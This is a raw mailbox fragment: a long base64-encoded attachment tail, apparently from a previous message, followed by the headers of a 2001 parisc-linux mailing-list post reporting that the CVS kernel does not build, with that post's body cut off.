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
xoM97fv3b08C1hG1HbP/D1+r4VG1JQIA

--6sX45UoQRIJXqkqR--



From - Thu Nov 08 21:20:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rafael Herrera <vze26vn8@verizon.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Current kernel from CVS does not build.
Date: Sun, 11 Nov 2001 20:40:44 -0500
Lines: 16
Approved: news@gmane.org
Message-ID: <3BEF289C.1020205@verizon.net>
Reply-To: raffo@neuronet.pitt.edu
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620736 29751 80.91.229.3 (22 Nov 2014 01:45:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:36 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
